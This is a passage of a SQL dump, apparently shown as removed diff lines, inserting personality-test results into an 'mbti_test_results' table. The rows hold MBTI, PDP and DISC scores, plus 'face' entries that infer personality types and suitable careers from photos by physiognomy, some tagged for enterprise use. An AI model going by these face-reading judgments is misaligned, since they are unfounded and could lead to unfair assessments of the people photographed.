[\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260304/img_69a7d993a31264.28523714.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f95c675.65376842.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f999b87.63229945.png\"], \"boneAnalysis\": \"颧骨与下颌圆润不失力度,骨肉匀称,属木火偏旺之相,重在创意表达与人际影响,抗压方式以灵活变通为主。\", \"faceAnalysis\": \"额头饱满开阔,眼神灵动带笑,鼻口协调度高,整体面相亲和中带果断,善社交且具一定执行力。\", \"personalitySummary\": \"性格开朗真诚,思维发散而富想象,重视价值与理想,待人友善有感染力,适合在团队中承担创意与联络角色。\"}', NULL, NULL, 0, 0, NULL, NULL, 1772768944, 1772768944, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (64, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"形象开朗温和,思维活跃有创意,人际感知敏锐,适合做连接资源、启发他人的角色。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260304/img_69a7d993a31264.28523714.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f95c675.65376842.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f999b87.63229945.png\"], \"boneAnalysis\": \"骨相圆润不突兀,骨肉均衡,气质偏灵动与亲和,重在人缘与适应力而非强势压迫感。\", \"faceAnalysis\": \"额头圆阔,五官柔和舒展,笑眼弯弯,整体给人亲切、外向、易亲近的印象。\", \"personalitySummary\": \"热情友好,想象力强,重视价值与意义,善于与人沟通联结,适合在多变环境中发挥创意与影响力。\"}', NULL, NULL, 0, 0, NULL, NULL, 1772769074, 1772769074, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (65, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"思维缜密、重视逻辑与结构,擅长规划与评估,在稳定框架中持续优化与精进。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260304/img_69a7d993a31264.28523714.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f95c675.65376842.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f999b87.63229945.png\"], \"boneAnalysis\": \"骨相匀称偏稳,颧额不过分外张,属谋划与判断型,多以深思熟虑与持续精进取胜。\", \"faceAnalysis\": \"额庭饱满、眼神专注,鼻部端正,嘴角收敛,整体给人理性内敛、思考充分后再行动的印象。\", \"personalitySummary\": \"理性冷静,重视体系与长远收益,偏内向不事张扬,做事有计划感与原则边界,适合策略规划与专业深耕。\"}', NULL, NULL, 1, 0, 100, NULL, 1772777210, 1772777210, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (66, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性冷静、擅长系统规划与判断,全局视角突出,适合承担决策与策略类核心岗位。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260304/img_69a7d993a31264.28523714.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f95c675.65376842.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f999b87.63229945.png\"], \"boneAnalysis\": \"骨相端正不张扬,骨肉均衡偏理性持重型,颧区与下颌承载力佳,属稳中带锋,长线发展潜力强。\", \"faceAnalysis\": \"额头饱满开阔,眼神专注稳定,鼻梁端正有力,嘴型收敛清晰,下巴稳实,整体给人思虑深远、行事有度的印象。\", \"personalitySummary\": \"思维缜密独立,重逻辑与结构,决策前充分评估风险与收益,人际中有边界感但可靠度高,善于在复杂环境中找到最优解。\"}', NULL, NULL, 1, 0, 101, NULL, 1772777310, 1772777310, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (67, 1, 'mbti', '{\"scores\": {\"E\": 8, \"F\": 0, \"I\": 0, \"J\": 7, \"N\": 0, \"P\": 0, \"S\": 8, \"T\": 7}, \"answers\": [], \"mbtiType\": \"ESTJ\", \"timestamp\": \"2026-03-06T06:09:01.675Z\", \"confidence\": 100, \"completedAt\": \"2026-03-06T06:09:01.675Z\", \"description\": {\"name\": \"总经理\", \"type\": \"ESTJ\", \"careers\": [\"管理者\", \"项目经理\", \"律师\"], \"category\": \"守护者\", \"strengths\": [\"领导力\", \"组织能力\", \"务实\"], \"weaknesses\": [\"可能专制\", \"不够灵活\"], \"description\": \"务实、果断的组织者\"}, \"testDuration\": 18, \"dimensionScores\": {\"EI\": {\"E\": 8, \"I\": 0, \"dominant\": \"E\", \"percentage\": 100}, \"JP\": {\"J\": 7, \"P\": 0, \"dominant\": \"J\", \"percentage\": 100}, \"SN\": {\"N\": 0, \"S\": 8, \"dominant\": \"S\", \"percentage\": 100}, \"TF\": {\"F\": 0, \"T\": 7, \"dominant\": \"T\", \"percentage\": 100}}}', NULL, NULL, 1, 0, 101, NULL, 1772777341, 1772777341, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (68, 1, 'pdp', '{\"scores\": {\"Owl\": 0, \"Koala\": 1, \"Tiger\": 19, \"Peacock\": 0, \"Chameleon\": 0}, \"answers\": {\"1\": \"Tiger\", \"2\": \"Tiger\", \"3\": \"Koala\", \"4\": \"Tiger\", \"5\": \"Tiger\", \"6\": \"Tiger\", \"7\": \"Tiger\", \"8\": \"Tiger\", \"9\": \"Tiger\", \"10\": \"Tiger\", \"11\": \"Tiger\", \"12\": \"Tiger\", \"13\": \"Tiger\", \"14\": \"Tiger\", \"15\": \"Tiger\", \"16\": \"Tiger\", \"17\": \"Tiger\", \"18\": \"Tiger\", \"19\": \"Tiger\", \"20\": \"Tiger\"}, \"completedAt\": \"2026-03-06T06:10:13.546Z\", \"description\": {\"type\": \"老虎型\", \"color\": \"#F59E0B\", \"emoji\": \"🐅\", \"title\": \"支配者\", \"careers\": [\"企业高管\", \"创业者\", \"项目经理\"], \"teamRole\": \"适合担任领导者角色\", \"strengths\": [\"决断力强\", \"目标导向\", \"行动迅速\"], \"weaknesses\": [\"可能过于强势\", \"缺乏耐心\"], \"description\": \"天生的领导者,具有强烈的目标导向和执行力\"}, \"percentages\": {\"Owl\": 0, \"Koala\": 5, \"Tiger\": 95, \"Peacock\": 0, \"Chameleon\": 0}, \"dominantType\": \"Tiger\", \"testDuration\": 17, \"secondaryType\": \"Koala\"}', NULL, NULL, 1, 0, 101, NULL, 1772777413, 1772777413, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (69, 1, 'disc', '{\"scores\": {\"C\": 0, \"D\": 20, \"I\": 0, \"S\": 0}, \"answers\": {\"1\": \"D\", \"2\": \"D\", \"3\": \"D\", \"4\": \"D\", \"5\": \"D\", \"6\": \"D\", \"7\": \"D\", \"8\": \"D\", \"9\": \"D\", \"10\": \"D\", \"11\": \"D\", \"12\": \"D\", \"13\": \"D\", \"14\": \"D\", \"15\": \"D\", \"16\": \"D\", \"17\": \"D\", \"18\": \"D\", \"19\": \"D\", \"20\": \"D\"}, \"completedAt\": \"2026-03-06T06:10:46.131Z\", \"description\": {\"type\": \"D型\", \"color\": \"#EF4444\", \"title\": \"支配型\", \"careers\": [\"企业高管\", \"创业者\", \"项目经理\"], \"strengths\": [\"决断力强\", \"目标导向\", \"行动迅速\"], \"weaknesses\": [\"可能过于强势\", \"缺乏耐心\"], \"description\": \"天生的领导者,注重结果和效率\"}, \"percentages\": {\"C\": 0, \"D\": 100, \"I\": 0, \"S\": 0}, \"dominantType\": \"D\", \"testDuration\": 7, \"secondaryType\": \"I\"}', NULL, NULL, 1, 0, 101, NULL, 1772777446, 1772777446, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (70, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性内敛、谋略清晰,擅长系统规划与稳健决策,适合深度思考与长期项目主导。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260304/img_69a7d993a31264.28523714.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f95c675.65376842.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f999b87.63229945.png\"], \"boneAnalysis\": \"骨相均衡偏稳,额骨与颧骨不露锋芒但有内劲,下颌扎实,整体属稳健持久型格局。\", \"faceAnalysis\": \"额头饱满开阔,眉眼沉稳聚焦,鼻形端正收敛,嘴角含蓄不张扬,下巴圆厚有承载力。\", \"personalitySummary\": \"思维缜密,重逻辑与结构,情绪克制,做事有节奏感和计划性,偏独立决策与深度钻研。\"}', NULL, NULL, 1, 0, 200, NULL, 1772777563, 1772777563, 5, 'enterprise'); -INSERT INTO `mbti_test_results` VALUES (71, 1, 'mbti', '{\"scores\": {\"E\": 9, \"F\": 1, \"I\": 0, \"J\": 6, \"N\": 0, \"P\": 1, \"S\": 7, \"T\": 6}, \"answers\": [], \"mbtiType\": \"ESTJ\", \"timestamp\": \"2026-03-06T06:13:16.011Z\", \"confidence\": 93, \"completedAt\": \"2026-03-06T06:13:16.011Z\", \"description\": {\"name\": \"总经理\", \"type\": \"ESTJ\", \"careers\": [\"管理者\", \"项目经理\", \"律师\"], \"category\": \"守护者\", \"strengths\": [\"领导力\", \"组织能力\", \"务实\"], \"weaknesses\": [\"可能专制\", \"不够灵活\"], \"description\": \"务实、果断的组织者\"}, \"testDuration\": 24, \"dimensionScores\": {\"EI\": {\"E\": 9, \"I\": 0, \"dominant\": \"E\", \"percentage\": 100}, \"JP\": {\"J\": 6, \"P\": 1, \"dominant\": \"J\", \"percentage\": 86}, \"SN\": {\"N\": 0, \"S\": 7, \"dominant\": \"S\", \"percentage\": 100}, \"TF\": {\"F\": 1, \"T\": 6, \"dominant\": \"T\", \"percentage\": 86}}}', NULL, NULL, 1, 0, 200, NULL, 1772777596, 1772777596, 5, 'enterprise'); -INSERT INTO `mbti_test_results` VALUES (72, 1, 'pdp', '{\"scores\": {\"Owl\": 0, \"Koala\": 0, \"Tiger\": 1, \"Peacock\": 19, \"Chameleon\": 0}, \"answers\": {\"1\": \"Tiger\", \"2\": \"Peacock\", \"3\": \"Peacock\", \"4\": \"Peacock\", \"5\": \"Peacock\", \"6\": \"Peacock\", \"7\": \"Peacock\", \"8\": \"Peacock\", \"9\": \"Peacock\", \"10\": \"Peacock\", \"11\": \"Peacock\", \"12\": \"Peacock\", \"13\": \"Peacock\", \"14\": \"Peacock\", \"15\": \"Peacock\", \"16\": \"Peacock\", \"17\": \"Peacock\", \"18\": \"Peacock\", \"19\": \"Peacock\", \"20\": \"Peacock\"}, \"completedAt\": \"2026-03-06T06:14:30.403Z\", \"description\": {\"type\": \"孔雀型\", \"color\": \"#8B5CF6\", \"emoji\": \"🦚\", \"title\": \"表现者\", \"careers\": [\"市场营销\", \"公关\", \"培训师\"], \"teamRole\": \"适合担任激励者和调解者角色\", \"strengths\": [\"善于沟通\", \"乐观积极\", \"影响力强\"], \"weaknesses\": [\"可能过于乐观\", \"注意力分散\"], \"description\": \"热情友好,善于表达和社交\"}, \"percentages\": {\"Owl\": 0, \"Koala\": 0, \"Tiger\": 5, \"Peacock\": 95, \"Chameleon\": 0}, \"dominantType\": \"Peacock\", \"testDuration\": 14, \"secondaryType\": \"Tiger\"}', NULL, NULL, 1, 0, 200, NULL, 1772777670, 1772777670, 5, 'enterprise'); -INSERT INTO `mbti_test_results` VALUES (73, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"思维缜密、善于筹划与评估风险,重视长远布局与体系化推进,适合承担决策与策略设计角色。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260304/img_69a7d993a31264.28523714.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f95c675.65376842.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f999b87.63229945.png\"], \"boneAnalysis\": \"骨相偏金水形,骨肉匀称,颧骨内敛不外突,整体气质内敛克制,重逻辑与规则,行动稳健不张扬。\", \"faceAnalysis\": \"额头开阔、眼神专注,鼻梁端正,口形收敛,整体给人理性稳重、思路清晰且有节制的印象。\", \"personalitySummary\": \"性格理性冷静,重视结构与效率,偏内向独立,有清晰原则与边界,擅长在安静环境中深度思考与规划。\"}', NULL, NULL, 1, 0, 101, NULL, 1772779082, 1772779082, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (74, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性冷静、谋略周全,擅长系统规划与风险控制,适合掌舵长线项目与关键决策岗位。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260304/img_69a7d993a31264.28523714.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f95c675.65376842.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f999b87.63229945.png\"], \"boneAnalysis\": \"骨骼线条分明不张扬,属木土兼具之稳健格局,重视结构与秩序,行动节奏耐心持久。\", \"faceAnalysis\": \"额头开阔、五官端正,眼神专注沉稳,整体给人理智可信、思维缜密且有主见的印象。\", \"personalitySummary\": \"内敛克制,思考深入,偏好独立决策与长期规划;重视逻辑和证据,对自己与他人要求高,人际保持适度距离但可靠守信。\"}', NULL, NULL, 1, 0, 200, NULL, 1772779594, 1772779594, 5, 'enterprise'); -INSERT INTO `mbti_test_results` VALUES (75, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"思维缜密、稳健克制,擅长谋划与统筹,适合承担关键决策与长期规划角色。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260304/img_69a7d993a31264.28523714.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f95c675.65376842.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f999b87.63229945.png\"], \"boneAnalysis\": \"骨相偏木金形,骨骼端正不张扬,骨肉均衡,属稳健谋略型,更重长线布局与结构把控。\", \"faceAnalysis\": \"额头饱满开阔,双眼内敛专注,鼻准端正,嘴形收敛有度,整体气质理性稳重、主思考少外露情绪。\", \"personalitySummary\": \"内向理性,重逻辑与秩序,行事低调却目标清晰,决策慎重且坚持原则,偏策略与分析型性格。\"}', NULL, NULL, 1, 0, 101, NULL, 1772780350, 1772780350, 5, 'enterprise'); -INSERT INTO `mbti_test_results` VALUES (76, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"气质沉稳内敛,思维细致周全,善于洞察人心与趋势,适合做策略规划与决策参谋型角色。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260304/img_69a7d993a31264.28523714.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f95c675.65376842.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f999b87.63229945.png\"], \"boneAnalysis\": \"面廓偏圆中带方,下颌收束有力,骨感不突但有支撑感,属土水兼具之相,稳健中含灵动与包容。\", \"faceAnalysis\": \"额头饱满圆润,眉目温和含笑,眼神内敛而专注,整体给人理性稳重、亲和可信赖的印象。\", \"personalitySummary\": \"重视内在价值与长期意义,行事谨慎有原则,待人温和却坚持立场,擅长系统思考与整合信息。\"}', NULL, NULL, 1, 0, 101, NULL, 1772780684, 1772780684, 5, 'personal'); -INSERT INTO `mbti_test_results` VALUES (77, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"理性温和、内敛专注,善于观察与思考,重视深度与原则,适合专业型与策划型发展路径。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"骨感略显、线条清瘦,颧骨内敛不外突,下颌柔和略尖,属思考型与感知型骨相,以智慧与洞察见长。\", \"faceAnalysis\": \"额头饱满顺势,眼神沉静带思考,鼻梁细直,嘴唇柔和偏薄,整体五官清秀带理性气质。\", \"personalitySummary\": \"性格安静理性,重视独立空间与思考深度,做事谨慎有条理,对他人体察细腻但不张扬,擅长在幕后规划与支撑全局。\"}', NULL, NULL, 1, 0, 101, NULL, 1772781830, 1772781830, 5, 'personal'); -INSERT INTO `mbti_test_results` VALUES (78, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"安静理性且具洞察力,内敛中带坚持,适合深度思考与稳健推进型工作。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"面部线条偏细长,骨感略显,骨肉关系骨重肉薄,五官集中,呈内敛专注型格局,擅长细致思考与长期坚持。\", \"faceAnalysis\": \"额头较高,眉眼柔和内敛,鼻梁清秀,嘴唇偏薄收敛,下巴略尖,整体给人理智温和、思虑周全的印象。\", \"personalitySummary\": \"性格安静专注,情绪稳定,重视原则与边界。做事有计划,追求质量与深度,人际相对克制但真诚可靠。\"}', NULL, 77, 1, 0, 101, NULL, 1772782874, 1772783583, 5, 'personal'); -INSERT INTO `mbti_test_results` VALUES (79, 1, 'face', '{\"pdp\": {\"primary\": \"老虎\", \"secondary\": \"猫头鹰\"}, \"disc\": {\"primary\": \"D\", \"secondary\": \"C\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。理性思维主导,善于长期规划和系统性思考。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"faceAnalysis\": null, \"personalitySummary\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。\"}', NULL, NULL, 1, 0, 101, NULL, 1773036842, 1773036842, 5, 'personal'); -INSERT INTO `mbti_test_results` VALUES (80, 1, 'face', '{\"pdp\": {\"primary\": \"老虎\", \"secondary\": \"猫头鹰\"}, \"disc\": {\"primary\": \"D\", \"secondary\": \"C\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。理性思维主导,善于长期规划和系统性思考。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"faceAnalysis\": null, \"personalitySummary\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773037039, 1773037039, 5, 'personal'); -INSERT INTO `mbti_test_results` VALUES (81, 1, 'face', '{\"pdp\": {\"primary\": \"老虎\", \"secondary\": \"猫头鹰\"}, \"disc\": {\"primary\": \"D\", \"secondary\": \"C\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。理性思维主导,善于长期规划和系统性思考。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"faceAnalysis\": null, \"personalitySummary\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773037702, 1773037702, 5, 'personal'); -INSERT INTO `mbti_test_results` VALUES (82, 1, 'face', '{\"pdp\": {\"primary\": \"老虎\", \"secondary\": \"猫头鹰\"}, \"disc\": {\"primary\": \"D\", \"secondary\": \"C\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。理性思维主导,善于长期规划和系统性思考。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"faceAnalysis\": null, \"personalitySummary\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773038120, 1773038120, 5, 'personal'); -INSERT INTO `mbti_test_results` VALUES (83, 1, 'face', '{\"pdp\": {\"primary\": \"老虎\", \"secondary\": \"猫头鹰\"}, \"disc\": {\"primary\": \"D\", \"secondary\": \"C\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。理性思维主导,善于长期规划和系统性思考。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"faceAnalysis\": null, \"personalitySummary\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773038934, 1773038934, 5, 'personal'); -INSERT INTO `mbti_test_results` VALUES (84, 1, 'pdp', '{\"scores\": {\"Owl\": 0, \"Koala\": 0, \"Tiger\": 1, \"Peacock\": 19, \"Chameleon\": 0}, \"answers\": {\"1\": \"Tiger\", \"2\": \"Peacock\", \"3\": \"Peacock\", \"4\": \"Peacock\", \"5\": \"Peacock\", \"6\": \"Peacock\", \"7\": \"Peacock\", \"8\": \"Peacock\", \"9\": \"Peacock\", \"10\": \"Peacock\", \"11\": \"Peacock\", \"12\": \"Peacock\", \"13\": \"Peacock\", \"14\": \"Peacock\", \"15\": \"Peacock\", \"16\": \"Peacock\", \"17\": \"Peacock\", \"18\": \"Peacock\", \"19\": \"Peacock\", \"20\": \"Peacock\"}, \"completedAt\": \"2026-03-09T06:51:16.469Z\", \"description\": {\"type\": \"孔雀型\", \"color\": \"#8B5CF6\", \"emoji\": \"🦚\", \"title\": \"表现者\", \"careers\": [\"市场营销\", \"公关\", \"培训师\"], \"teamRole\": \"适合担任激励者和调解者角色\", \"strengths\": [\"善于沟通\", \"乐观积极\", \"影响力强\"], \"weaknesses\": [\"可能过于乐观\", \"注意力分散\"], \"description\": \"热情友好,善于表达和社交\"}, \"percentages\": {\"Owl\": 0, \"Koala\": 0, \"Tiger\": 5, \"Peacock\": 95, \"Chameleon\": 0}, \"dominantType\": \"Peacock\", \"testDuration\": 11, \"secondaryType\": \"Tiger\"}', NULL, NULL, 0, 0, NULL, NULL, 1773039076, 1773039076, 5, 'personal'); -INSERT INTO `mbti_test_results` VALUES (85, 1, 'pdp', '{\"scores\": {\"Owl\": 0, \"Koala\": 0, \"Tiger\": 0, \"Peacock\": 20, \"Chameleon\": 0}, \"answers\": {\"1\": \"Peacock\", \"2\": \"Peacock\", \"3\": \"Peacock\", \"4\": \"Peacock\", \"5\": \"Peacock\", \"6\": \"Peacock\", \"7\": \"Peacock\", \"8\": \"Peacock\", \"9\": \"Peacock\", \"10\": \"Peacock\", \"11\": \"Peacock\", \"12\": \"Peacock\", \"13\": \"Peacock\", \"14\": \"Peacock\", \"15\": \"Peacock\", \"16\": \"Peacock\", \"17\": \"Peacock\", \"18\": \"Peacock\", \"19\": \"Peacock\", \"20\": \"Peacock\"}, \"completedAt\": \"2026-03-09T07:09:22.827Z\", \"description\": {\"type\": \"孔雀型\", \"color\": \"#8B5CF6\", \"emoji\": \"🦚\", \"title\": \"表现者\", \"careers\": [\"市场营销\", \"公关\", \"培训师\"], \"teamRole\": \"适合担任激励者和调解者角色\", \"strengths\": [\"善于沟通\", \"乐观积极\", \"影响力强\"], \"weaknesses\": [\"可能过于乐观\", \"注意力分散\"], \"description\": \"热情友好,善于表达和社交\"}, \"percentages\": {\"Owl\": 0, \"Koala\": 0, \"Tiger\": 0, \"Peacock\": 100, \"Chameleon\": 0}, \"dominantType\": \"Peacock\", \"testDuration\": 18, \"secondaryType\": \"Tiger\"}', NULL, NULL, 0, 0, NULL, NULL, 1773040162, 1773040162, 5, 'personal'); -INSERT INTO `mbti_test_results` VALUES (86, 1, 'face', '{\"pdp\": {\"primary\": \"老虎\", \"secondary\": \"猫头鹰\"}, \"disc\": {\"primary\": \"D\", \"secondary\": \"C\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。理性思维主导,善于长期规划和系统性思考。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"faceAnalysis\": null, \"personalitySummary\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773042949, 1773042949, 5, 'personal'); -INSERT INTO `mbti_test_results` VALUES (87, 1, 'disc', '{\"scores\": {\"C\": 0, \"D\": 0, \"I\": 20, \"S\": 0}, \"answers\": {\"1\": \"I\", \"2\": \"I\", \"3\": \"I\", \"4\": \"I\", \"5\": \"I\", \"6\": \"I\", \"7\": \"I\", \"8\": \"I\", \"9\": \"I\", \"10\": \"I\", \"11\": \"I\", \"12\": \"I\", \"13\": \"I\", \"14\": \"I\", \"15\": \"I\", \"16\": \"I\", \"17\": \"I\", \"18\": \"I\", \"19\": \"I\", \"20\": \"I\"}, \"completedAt\": \"2026-03-09T08:12:52.575Z\", \"description\": {\"type\": \"I型\", \"color\": \"#F59E0B\", \"title\": \"影响型\", \"careers\": [\"市场营销\", \"公关\", \"培训师\"], \"strengths\": [\"善于沟通\", \"乐观积极\", 